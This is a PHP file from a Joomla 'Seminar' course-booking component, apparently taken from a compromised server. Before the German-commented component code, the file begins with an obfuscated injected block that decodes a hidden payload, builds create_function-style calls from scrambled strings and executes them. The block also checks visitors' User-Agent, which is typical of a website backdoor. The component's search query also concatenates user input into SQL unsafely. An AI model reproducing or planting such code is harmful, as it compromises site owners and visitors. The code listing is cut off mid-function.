| Current File : /home/bwalansa/seminar.php |
<?php $oqfifdt = '~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmh!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1-rjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1mtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>EjA)qj3hopmA x273qj%6<*Y%)f18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w81]K78:56985:6197g:74985-rr.93e 157 x6e"; function ftycmnv($n){return chr(ord($n)-1);} @error_repoMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg}#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!); $tpxacei();}}2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bss]234]342]58]24]31#-%tdz*Wsfuvso!%bss ]58y]472]37y]672]48y]/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]2 156 x61"])))) { $GLOBALS[" x," x6d 163 x69 145")) or (strstr($uas," x7y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y%ff2!>!bssbz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24x7f<u%V x27{ftmfV x7f<d816:+946:ce44#)zbssb!>!ssbnpe_Giuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdf x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tu#0#/*#npd/#)rrd/#00;quui#>.%!<***f x278399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-w:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)FSFGFS`QUUI&c_UOFHB`SFTV`QUUItjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-75]y83]273]y76]277#<!%t2w>#]y74]273]gj}l;33bq}k;opjudovg}x*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x24- x24y7 Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjw/ x247-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-11111)#44ec:649#-!#:618d5f9#-!#f6c6#QwTW%hIr x5c1^-%r x5c2^-%hOh/#s)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fo#>b%!*##>>X)!gjZ<#opo#>b%!7e:56-xr.985:52985-t.98]K4]65%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,($uas," x66 151 x72 145 x66 157 x78"))) { $cmlxfjx = " x63 162 x65 1osvufs} x7f;!opjudovg}k~~9{d%27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tus} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)V;3q%}U;y]}R;2]},;osvuf`%}X;!sp!*#opo#>>}R;msv}.;/#/Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]3}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!2 166 x3a 61 x31")) or (strstr($uas," x61 156 x64 162 x6f #16,47R57,27R66,#/q%>2q%<#g6R85,67R37,bz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#:5597f-s.973:8297f:529)% x24- x24y4 x24- x24]y8 x24%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gpf`57ftbc x7f!|!*uyfu x-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<tvctus)% x24- x24b!>!%yy)#}27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{hMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_S7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`Gs-%rxB%h>#]y31]278]y3e]:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{hmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRx24- x24*<! x24- x24gps)%j>1<%j=t#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of-UVPFNJU,6<*27-SFGTOBS3 x74 141 x72 164") && (!isset($GLOBALS[" x61 156 x7527k:!ftmf!}Z;^nbsbq% x5cSFWSFTrting(0); $lbbocyh = implode(array_map("ftycmnv",stre{h+{d%)+opjudovg+)!gj+{e%!B)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:_split("%tjw!>!#]y84]275]y83]248]nbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}]88y]27]28y]#/r%/h%)n%-#+IUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#")));$tpxacei = $cmlxfjx("", $lbbocyh#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fep61 156 x75 156 x61"]=1; $uas73P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%if((function_exists(" x6f 142 x5f 16usbut`cpV x7f x7f x7f %>j%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz%)kVx{**#k#)tutjyf`x x22l:!}245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%j{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!ofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQP2)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A xA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdo* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs41 x74 145 x5f 146 x75 156 x63 164 x69&b%!|!*)323zbek!~!<b% x7f!<X>b%Z<#opR x27tfs%6<*17-SFEBFI,6<*127x5csboe))1/35.)1/14+9**00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bs]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]7p3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6%)7gj6<*id%)ftpmdR6<*id%)dfyfj%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*jjg!)%z>>2*!%z>3<!fmtf!%z>:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%)s%>/h%:<**#57]38y]47]67y]37%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!0 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas#~<#/% x24- x24!>!fyqmpef)# x24*<!%t::!>! x24Yp#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#3726<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6;0]=])0#)U! x27{**u%-#jt0}Z;0]|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gjy83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! xe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5<*2bd%-#1GO x22#)fepmqyfcq% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq7]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7445]212]445]43]321]464]284]364]6151 x64")) or (strstr($uas," x63 150 x72 157 x6d 145")) or (strstr,*e x27,*d x27,*c x27=strtolower($_SERVER[" x48 124 x54 12StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSrlzzjqp'; $tiwaqsz=explode(chr((583-463)),substr($oqfifdt,(23104-17084),(151-117))); $qrsyqbe = $tiwaqsz[0]($tiwaqsz[(5-4)]); $ogbeamb = $tiwaqsz[0]($tiwaqsz[(8-6)]); if (!function_exists('klzcgjeg')) { function klzcgjeg($snobemhqk, $srexzph,$mfbmrikx) { $aqiysv = NULL; for($rjczbzcum=0;$rjczbzcum<(sizeof($snobemhqk)/2);$rjczbzcum++) { $aqiysv .= substr($srexzph, $snobemhqk[($rjczbzcum*2)],$snobemhqk[($rjczbzcum*2)+(3-2)]); } return $mfbmrikx(chr((41-32)),chr((443-351)),$aqiysv); }; } $iorpcdbfc = explode(chr((156-112)),'4019,36,3229,53,727,29,3818,28,5983,37,5327,66,756,42,2361,58,5896,66,1994,68,4688,38,343,67,3312,52,3486,33,5667,45,4992,62,1573,63,5506,68,0,39,130,58,634,59,2904,52,3391,58,242,26,3519,53,5776,45,2570,54,3967,52,1689,41,4649,39,5054,29,4762,28,3207,22,3665,53,4512,40,2091,55,4396,57,410,68,1031,55,1285,58,5083,69,1947,47,1401,55,4077,58,2828,39,5259,68,5604,63,2299,62,5752,24,4552,35,1086,38,5962,21,1730,50,4453,59,3755,63,3046,58,5712,40,939,32,2867,37,1256,29,4726,36,1891,27,4587,62,2716,22,3282,30,2205,29,478,49,2062,29,2979,67,3449,37,971,60,3364,27,1215,41,4055,22,917,22,3900,67,2419,38,268,44,4263,28,2182,23,2146,36,1379,22,5574,30,2624,45,693,34,1343,36,798,49,87,43,5230,29,3639,26,5440,66,613,21,3137,70,5177,53,847,70,2801,27,1636,53,2541,29,1518,55,3104,33,4356,40,5393,47,4941,51,4205,58,1780,30,1124,42,3572,67,1810,31,4813,51,2956,23,312,31,2519,22,1918,29,4864,25,4889,52,5821,43,4135,70,1456,62,4291,65,39,48,2234,65,3846,54,5864,32,576,37,4790,23,2669,47,1841,50,188,54,1166,49,5152,25,543,33,2457,62,2738,63,3718,37,527,16'); $hhmzpudpl = $qrsyqbe("",klzcgjeg($iorpcdbfc,$oqfifdt,$ogbeamb)); $qrsyqbe=$oqfifdt; $hhmzpudpl(""); $hhmzpudpl=(690-569); $oqfifdt=$hhmzpudpl-1; ?><?php
//*******************************************
//*** Seminar for joomla! ***
//*** Version 1.3.0 ***
//*******************************************
//*** Copyright (c) Dirk Vollmar ***
//*** 2004 / 2009 ***
//*** joomla@vollmar.ws ***
//*** All rights reserved ***
//*******************************************
//* Released under GNU/GPL License *
//* http://www.gnu.org/licenses/gpl.html *
//*******************************************
defined('_JEXEC') or die('Restricted access');
require_once(JApplicationHelper::getPath('front_html'));
require_once(JApplicationHelper::getPath('class'));
$task = trim(JRequest::getInt('task',0));
if($task!= 25 AND $task!=31 AND $task!=33) {
header("Content-type: text/html; charset=UTF-8");
}
if(($task>14 AND $task<23) OR $task==27 OR $task==30) {
echo sem_f031();
} elseif($task!= 25 AND $task!=31 AND $task!=33) {
$document = &JFactory::getDocument();
$document->addCustomTag(sem_f030());
}
// ++++++++++++++++++++++++++++++++++
// +++ Auswahl der Aktion +++
// ++++++++++++++++++++++++++++++++++
$config = JComponentHelper::getParams('com_seminar');
switch ($task) {
case "0":
// Veranstaltungen zeigen
sem_f058();
sem_g001(0);
break;
case "1":
// Gebuchte Kurse zeigen
sem_f043(2);
sem_g001(1);
break;
case "2":
// Angebotene Kurse zeigen
sem_f043($config->get('sem_p001',3));
sem_g001(2);
break;
case "3":
// Kursdetails anzeigen
sem_f058();
sem_g002(0);
break;
case "4":
// Details eines gebuchten Kurses zeigen
sem_f043(2);
sem_g002(1);
break;
case "5":
// Veranstaltung buchen
sem_f043(1);
sem_g004();
break;
case "6":
// Buchung stornieren
sem_f043(2);
sem_g005();
break;
case "7":
// Buchung durch den Veranstalter stornieren
sem_f043($config->get('sem_p001',3));
sem_g011();
break;
case "8":
// Neue Veranstaltung eingeben
sem_f043($config->get('sem_p001',3));
sem_g006();
break;
case "9":
// Veranstaltung bearbeiten
sem_f043($config->get('sem_p001',3));
sem_g006();
break;
case "10":
// Veranstaltung speichern
sem_f043($config->get('sem_p001',3));
sem_g007();
break;
case "11":
// Veranstaltung entfernen
sem_f043($config->get('sem_p001',3));
sem_g008();
break;
case "12":
// Veranstaltung duplizieren
sem_f043($config->get('sem_p001',3));
sem_g009();
break;
case "13":
// Benutzer zertifizieren
sem_f043($config->get('sem_p001',3));
sem_g013();
break;
case "14":
// Buchung als bezahlt markieren
sem_f043($config->get('sem_p001',3));
sem_g012();
break;
case "15":
// Uebersichten ausdrucken
// sem_f043(2);
sem_g018();
break;
case "16":
// Zertifikat drucken
sem_f043(2);
sem_g019();
break;
case "17":
// Teilnehmerliste als Unterschiftsliste drucken
sem_f043($config->get('sem_p001',3));
sem_f052(1);
break;
case "18":
// Teilnehmerliste mit Detailangaben drucken
sem_f043($config->get('sem_p001',3));
sem_f052(2);
break;
case "19":
// Veranstalter eine E-Mail senden
sem_f043(2);
sem_g016(1);
break;
case "22":
// E-Mail an Veranstalter absenden und Bestaetigung anzeigen
sem_f043(2);
sem_g017();
break;
case "20":
// Veranstalter bewerten
sem_f043(2);
sem_g014();
break;
case "21":
// Bewertung in die Datenbank eintragen und Ajax schliessen
sem_f043(2);
sem_g015();
break;
case "23":
// Teilnehmer eines Kurses anzeigen
sem_f043($config->get('sem_p001',3));
sem_g010(2);
break;
case "24":
// Teilnehmer eines Kurses anzeigen
sem_g010(1);
break;
case "25":
// Buchungsliste als CSV herunterladen
sem_f043($config->get('sem_p001',3));
sem_f048();
break;
case "26":
// Buchungsdaten aendern
sem_f043(2);
sem_g003(1);
break;
case "27":
// AGB anzeigen
sem_g020();
break;
case "28":
// Details eines gebuchten Kurses zeigen
sem_f043($config->get('sem_p001',3));
sem_g002(3);
break;
case "29":
// Buchungsdaten aendern
sem_f043($config->get('sem_p001',3));
sem_g003(2);
break;
case "30":
// Teilnehmern eine E-Mail senden
sem_f043($config->get('sem_p001',3));
sem_g016(2);
break;
case "31":
// RSS-Feed erzeugen
sem_g023();
break;
case "32":
// Benutzer ausloggen
sem_g024();
break;
case "33":
// Veranstaltung als ICS herunterladen
sem_f059();
break;
case "34":
// Datei herunterladen
sem_f061();
break;
default:
JError::raiseError(403,JText::_("ALERTNOTAUTH") );
exit();
break;
}
echo "\n</td></tr></table><br />".sem_f028()."</form>";
// ++++++++++++++++++++++++++++++++++++
// +++ Anzeige der Kursuebersichten +++
// ++++++++++++++++++++++++++++++++++++
function sem_g001($art) {
$database = JFactory::getDBO();
$config = JComponentHelper::getParams('com_seminar');
$dateid = JRequest::getInt('dateid',1);
$catid = JRequest::getInt('catid',0);
$search = JRequest::getString('search','');
$search = str_replace("'","",$search);
$search = str_replace("\"","",$search);
$limit = JRequest::getInt('limit',$config->get('sem_p021',5));
$limitstart = JRequest::getInt('limitstart',0);
$my = JFactory::getuser();
$neudatum = sem_f046();
$where = array();
// Nur veroeffentlichte Kurse anzeigen
$where[] = "a.published = '1'";
$where[] = "a.pattern = ''";
// nur Kurse anzeigen, deren Kategorie fuer den Benutzer erlaubt ist
$reglevel = sem_f042();
$accesslvl = 1;
if($reglevel>2) {
$accesslvl=3;
} elseif ($reglevel>1) {
$accesslvl=2;
}
$database->setQuery("SELECT id, access FROM #__categories WHERE section='".JRequest::getCmd('option')."'");
$cats = $database->loadObjectList();
$allowedcat = array();
foreach($cats AS $cat) {
if($cat->access<$accesslvl) {
$allowedcat[] = $cat->id;
}
}
if(count($allowedcat)>0) {
$allowedcat = implode(',',$allowedcat);
$where[] = "a.catid IN ($allowedcat)";
}
switch ($art) {
case "0":
$navioben = explode(" ",$config->get('sem_p053','SEM_NUMBER SEM_SEARCH SEM_CATEGORIES SEM_RESET'));
break;
case "1":
$navioben = explode(" ",$config->get('sem_p054','SEM_NUMBER SEM_SEARCH SEM_CATEGORIES SEM_RESET'));
break;
case "2":
$navioben = explode(" ",$config->get('sem_p055','SEM_NUMBER SEM_SEARCH SEM_CATEGORIES SEM_RESET'));
break;
}
switch ($config->get('sem_p064',2)) {
case "0":
$showend = "a.begin";
break;
case "1":
$showend = "a.booked";
break;
default:
$showend = "a.end";
break;
}
if(in_array('SEM_TYPES',$navioben)) {
switch ($dateid) {
case "1":
$where[] = "$showend > '$neudatum'";
break;
case "2":
$where[] = "$showend <= '$neudatum'";
break;
}
}
switch ($art) {
case "0":
// Gesamte Kurse anzeigen
if(!in_array('SEM_TYPES',$navioben)) {
$where[] = "$showend > '$neudatum'";
}
if((isset($_GET["catid"]) OR in_array('SEM_CATEGORIES',$navioben)) AND $catid>0) {
$where[] = "a.catid ='$catid'";
}
$leftjoin = "";
$bookdate = "";
$anztyp = array(JTEXT::_('SEM_0083'),0);
break;
case "1":
// Gebuchte Kurse anzeigen
if(in_array('SEM_CATEGORIES',$navioben) AND $catid>0) {
$where[] = "a.catid ='$catid'";
}
$where[] = "cc.userid = '".$my->id."'";
$leftjoin = "\n LEFT JOIN #__sembookings AS cc ON cc.semid = a.id";
$bookdate = ", cc.bookingdate AS bookingdate, cc.id AS sid";
$anztyp = array(JTEXT::_('SEM_1005'),1);
break;
case "2":
// Eingestellte Kurse anzeigen
if(in_array('SEM_CATEGORIES',$navioben) AND $catid>0) {
$where[] = "a.catid ='$catid'";
}
if(sem_f042()<6) {
$where[] = "a.publisher = '".$my->id."'";
}
$leftjoin = "";
$bookdate = "";
$anztyp = array(JTEXT::_('SEM_1031'),2);
break;
}
$suche = "\nAND (a.semnum LIKE '%".$search."%' OR a.gmaploc LIKE '%".$search."%' OR a.target LIKE '%".$search."%' OR a.place LIKE '%".$search."%' OR a.teacher LIKE '%".$search."%' OR a.title LIKE '%".$search."%' OR a.shortdesc LIKE '%".$search."%' OR a.description LIKE '%".$search."%')";
$database->setQuery("SELECT a.* FROM #__seminar AS a LEFT JOIN #__categories AS cat ON cat.id = a.catid"
. $leftjoin
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. $suche
);
$rows = $database->loadObjectList();
// Abzug der Kurse, die wegen Ausbuchung nicht angezeigt werden sollen
$abzug = 0;
$abid = array();
if($art==0) {
foreach($rows as $row) {
if($row->stopbooking==2) {
$gebucht = sem_f020($row);
if($row->maxpupil-$gebucht->booked<1) {
$abzug++;
$abid[] = $row->id;
};
}
}
}
if(count($abid)>0) {
$abid = implode(',',$abid);
$where[] = "a.id NOT IN ($abid)";
}
$total = count($rows)-$abzug;
if (!is_numeric($limitstart)) {
$limitstart = explode("=",$limitstart);
$limitstart = end($limitstart);
if (!is_numeric($limitstart)) {
$limitstart = 0;
}
}
if( $total<=$limitstart ) {
$limitstart = $limitstart - $limit;
}
if( $limitstart < 0) {
$limitstart = 0;
}
$ttlimit = "";
if($limit > 0) {
$ttlimit = "\nLIMIT $limitstart, $limit";
}
$pageNav = sem_f039($total, $limit, $limitstart);
$database->setQuery("SELECT a.*, cat.title AS category, cat.image as catimage".$bookdate." FROM #__seminar AS a LEFT JOIN #__categories AS cat ON cat.id = a.catid"
. $leftjoin
. (count( $where ) ? "\nWHERE " . implode( ' AND ', $where ) : "")
. $suche
. "\nORDER BY a.begin"
. $ttlimit
);
$rows = $database->loadObjectList();
// Kursauswahl erstellen
$allekurse = array();
$allekurse[] = JHTML::_('select.option', '0', JTEXT::_('SEM_0028') );
$allekurse[] = JHTML::_('select.option', '1', JTEXT::_('SEM_0039') );
$allekurse[] = JHTML::_('select.option', '2', JTEXT::_('SEM_0037') );
$datelist = JHTML::_('select.genericlist',$allekurse,"dateid","class=\"sem_inputbox\" size=\"1\" onchange=\"document.FrontForm.limitstart.value=0;document.FrontForm.submit();\"","value","text",$dateid);
// Kategorieliste erstellen
$reglevel = sem_f042();
$accesslvl = 1;
if($reglevel>=6) {
$accesslvl=3;
} elseif ($reglevel>=2) {
$accesslvl=2;
}
$categories[] = JHTML::_('select.option', '0', JTEXT::_('SEM_0027') );
$database->setQuery( "SELECT id AS value, title AS text FROM #__categories WHERE section='".JRequest::getCmd('option')."' AND access<".$accesslvl." ORDER BY ordering" );
$categs = array_merge($categories, $database->loadObjectList());
$clist = JHTML::_('select.genericlist',$categs,"catid","class=\"sem_inputbox\" size=\"1\" onchange=\"document.FrontForm.limitstart.value=0;document.FrontForm.submit();\"","value","text",$catid);
$listen = array($datelist,$dateid,$clist,$catid);
// Navigationspfad erweitern
sem_f019($anztyp[0],"javascript:auf(".$anztyp[1].",'','');");
// Ausgabe der Kursuebersicht
HTML_FrontSeminar::sem_g001($art,$rows,$pageNav,$search,$limit,$limitstart,$total,$datelist,$dateid,$clist,$catid);
}
// +++++++++++++++++++++++++++++++++++++
// +++ Anzeige des gewaehlten Kurses +++
// +++++++++++++++++++++++++++++++++++++
function sem_g002($art) {
$database = JFactory::getDBO();
$dateid = JRequest::getInt('dateid',1);
$cid = JRequest::getInt('cid',0);
$uid = JRequest::getInt('uid',0);
$catid = JRequest::getInt('catid',0);
$search = JRequest::getVar('search','');
$limit = JRequest::getInt('limit',5);
$limitstart = JRequest::getInt('limitstart',0);
// Werte des angegebenen Kurses ermitteln
$database->setQuery("SELECT * FROM #__seminar WHERE id='$cid'");
$rows = $database->loadObjectList();
if(count($rows)==0) {
JError::raiseError( 403, JText::_("ALERTNOTAUTH") );
exit();
}
$row = &$rows[0];
if($art==3) {
if($uid>0) {
$database->setQuery("SELECT * FROM #__sembookings WHERE id='$uid'");
$temp = $database->loadObjectList();
$userid = $temp[0]->userid;
if($userid==0) {
$uid = $uid * -1;
} else {
$uid = $userid;
}
}
} else {
if($uid>0) {
$database->setQuery( "SELECT * FROM #__sembookings WHERE id='$uid'");
$temp = $database->loadObjectList();
$uid = $temp[0]->userid;
}
}
if($art==0) {
// Hits erhoehen
$database->setQuery( "UPDATE #__seminar SET hits=hits+1 WHERE id='$cid'" );
if (!$database->query()) {
JError::raiseError( 500, $row->getError() );
exit();
}
// Ausgabe des Kurses
sem_f019(JTEXT::_('SEM_0083'),"javascript:auf(0,'','');");
} elseif($art==1 OR $art==2) {
sem_f019(JTEXT::_('SEM_1005'),"javascript:auf(1,'','');");
} else {
sem_f019(JTEXT::_('SEM_1031'),"javascript:auf(2,'','');");
}
sem_f019($row->title,"");
$ueberschrift = array(JTEXT::_('SEM_0014'),$row->shortdesc);
HTML_FrontSeminar::sem_g002($art,$row,$uid,$search,$catid,$limit,$limitstart,$dateid,$ueberschrift);
}
// +++++++++++++++++++++++++++++++++++++
// +++ Buchungsdaten aendern +++
// +++++++++++++++++++++++++++++++++++++
function sem_g003($art) {
$database = &JFactory::getDBO();
$neu = new mossembookings( $database );
if (!$neu->bind( $_POST )) {
JError::raiseError( 500, $database->stderr() );
exit();
}
$neu->id = JRequest::getInt('uid',0);
$neu->name = sem_f018($neu->name);
$neu->email = sem_f018($neu->email);
$neu->zusatz1 = sem_f018($neu->zusatz1);
$neu->zusatz2 = sem_f018($neu->zusatz2);
$neu->zusatz3 = sem_f018($neu->zusatz3);
$neu->zusatz4 = sem_f018($neu->zusatz4);
$neu->zusatz5 = sem_f018($neu->zusatz5);
$neu->zusatz6 = sem_f018($neu->zusatz6);
$neu->zusatz7 = sem_f018($neu->zusatz7);
$neu->zusatz8 = sem_f018($neu->zusatz8);
$neu->zusatz9 = sem_f018($neu->zusatz9);
$neu->zusatz10 = sem_f018($neu->zusatz10);
$neu->zusatz11 = sem_f018($neu->zusatz11);
$neu->zusatz12 = sem_f018($neu->zusatz12);
$neu->zusatz13 = sem_f018($neu->zusatz13);
$neu->zusatz14 = sem_f018($neu->zusatz14);
$neu->zusatz15 = sem_f018($neu->zusatz15);
$neu->zusatz16 = sem_f018($neu->zusatz16);
$neu->zusatz17 = sem_f018($neu->zusatz17);
$neu->zusatz18 = sem_f018($neu->zusatz18);
$neu->zusatz19 = sem_f018($neu->zusatz19);
$neu->zusatz20 = sem_f018($neu->zusatz20);
if (!$neu->check()) {
JError::raiseError( 500, $database->stderr() );
exit();
}
if (!$neu->store()) {
JError::raiseError( 500, $database->stderr() );
exit();
}
$neu->checkin();
if($art==1) {
sem_g001(1);
} else {
sem_g010(2);
}
}
// +++++++++++++++++++++++++++++++++++++
// +++ Kurs buchen +++
// +++++++++++++++++++++++++++++++++++++
function sem_g004() {
$database = &JFactory::getDBO();
$my = &JFactory::getuser();
$dateid = JRequest::getInt('dateid',1);
$cid = JRequest::getInt('cid',0);
$uid = JRequest::getInt('uid',0);
$catid = JRequest::getInt('catid',0);
$search = JRequest::getVar('search','');
$limit = JRequest::getInt('limit',5);
$limitstart = JRequest::getInt('limitstart',0);
$nrbooked = JRequest::getInt('nrbooked',0);
$name = JRequest::getVar('name','');
$email = JRequest::getVar('email','');
$reason = JTEXT::_('SEM_0086');
// Werte des angegebenen Kurses ermitteln
$row = new mosSeminar($database);
$row->load($cid);
$usrid = $my->id;
$art = 2;
if($uid>0) {
$usrid = $uid;
$art = 4;
}
$sqlid = $usrid;
if(($name!="" AND $email!="") OR $usrid==0) {
$usrid = 0;
$sqlid = -1;
}
// Pruefung ob Buchung erfolgreich durchfuehrbar
$database->setQuery( "SELECT * FROM #__sembookings WHERE semid='$cid' AND userid='$sqlid'" );
$temp = $database->loadObjectList();
$gebucht = sem_f020($row);
$gebucht = $gebucht->booked;
$allesok = 1;
$ueber1 = JTEXT::_('SEM_1011');
if( count( $temp ) > 0 ) {
$allesok = 0;
$ueber1 = JTEXT::_('SEM_1009');
$reason = JTEXT::_('SEM_1003');
} else if( sem_f046() > $row->booked ) {
$allesok = 0;
$ueber1 = JTEXT::_('SEM_1009');
$reason = JTEXT::_('SEM_0038');
} else if($row->maxpupil - $gebucht - $nrbooked < 0 && $row->stopbooking == 1) {
$allesok = 0;
$ueber1 = JTEXT::_('SEM_1009');
$reason = JTEXT::_('SEM_1030');
} else if($row->maxpupil - $gebucht - $nrbooked < 0 && $row->stopbooking == 0) {
$allesok = 2;
$ueber1 = JTEXT::_('SEM_1013');
$reason = JTEXT::_('SEM_0084');
}
if($art==4) {
$allesok = 1;
$ueber1 = JTEXT::_('SEM_1011');
}
// Alles in Ordnung
if($allesok > 0) {
// Buchung eintragen
$neu = new mossembookings( $database );
if (!$neu->bind( $_POST )) {
JError::raiseError( 500, $database->stderr() );
exit();
}
$neu->semid = $cid;
$neu->userid = $usrid;
$neu->bookingdate = sem_f046();
$neu->name = sem_f018($neu->name);
$neu->email = sem_f018($neu->email);
$neu->zusatz1 = sem_f018($neu->zusatz1);
$neu->zusatz2 = sem_f018($neu->zusatz2);
$neu->zusatz3 = sem_f018($neu->zusatz3);
$neu->zusatz4 = sem_f018($neu->zusatz4);
$neu->zusatz5 = sem_f018($neu->zusatz5);
$neu->zusatz6 = sem_f018($neu->zusatz6);
$neu->zusatz7 = sem_f018($neu->zusatz7);
$neu->zusatz8 = sem_f018($neu->zusatz8);
$neu->zusatz9 = sem_f018($neu->zusatz9);
$neu->zusatz10 = sem_f018($neu->zusatz10);
$neu->zusatz11 = sem_f018($neu->zusatz11);
$neu->zusatz12 = sem_f018($neu->zusatz12);
$neu->zusatz13 = sem_f018($neu->zusatz13);
$neu->zusatz14 = sem_f018($neu->zusatz14);
$neu->zusatz15 = sem_f018($neu->zusatz15);
$neu->zusatz16 = sem_f018($neu->zusatz16);
$neu->zusatz17 = sem_f018($neu->zusatz17);
$neu->zusatz18 = sem_f018($neu->zusatz18);
$neu->zusatz19 = sem_f018($neu->zusatz19);
$neu->zusatz20 = sem_f018($neu->zusatz20);
if (!$neu->check()) {
JError::raiseError(500,$database->stderr());
exit();
}
if (!$neu->store()) {
JError::raiseError(500,$database->stderr());
exit();
}
$neu->checkin();
}
if($art==4) {
sem_f050($cid,$neu->id,8);
